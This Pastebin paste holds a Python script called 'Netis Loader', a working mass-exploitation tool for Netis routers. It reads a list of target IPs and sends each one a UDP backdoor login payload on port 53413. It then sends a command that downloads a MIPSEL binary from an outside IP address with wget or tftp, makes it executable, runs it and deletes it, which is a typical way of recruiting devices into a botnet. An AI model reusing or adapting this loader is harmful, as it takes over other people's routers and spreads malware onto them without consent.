Advertisement
LNO_LiGhT

Netis Loader By; LiGhT

Nov 15th, 2016
2,651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.85 KB | None | 0 0
  1. #! python !#
  2. #By; LiGhT
  3. import threading, sys, time, random, socket, re, os
  4.  
  5. commandpayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://103.194.169.245/sshd || tftp -r sshd -g 103.194.169.245; chmod 777 sshd; ./sshd; rm -rf sshd\x00" # MIPSEL Binary
  6. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  7. ips = open(sys.argv[1], "r").readlines()
  8.  
  9. class netis(threading.Thread):
  10.         def __init__ (self, ip):
  11.             threading.Thread.__init__(self)
  12.             self.ip = str(ip).rstrip('\n')
  13.         def run(self):
  14.             try:
  15.                 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  16.                 print "Attempting %s"%(self.ip)
  17.                 s.sendto(loginpayload, (self.ip, 53413))
  18.                 time.sleep(1.5)
  19.                 s.sendto(commandpayload, (self.ip, 53413))
  20.                 time.sleep(3)
  21.             except Exception:
  22.                 pass
  23.  
  24. for ip in ips:
  25.     try:
  26.         n = netis(ip)
  27.         n.start()
  28.         time.sleep(0.01)
  29.     except:
  30.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement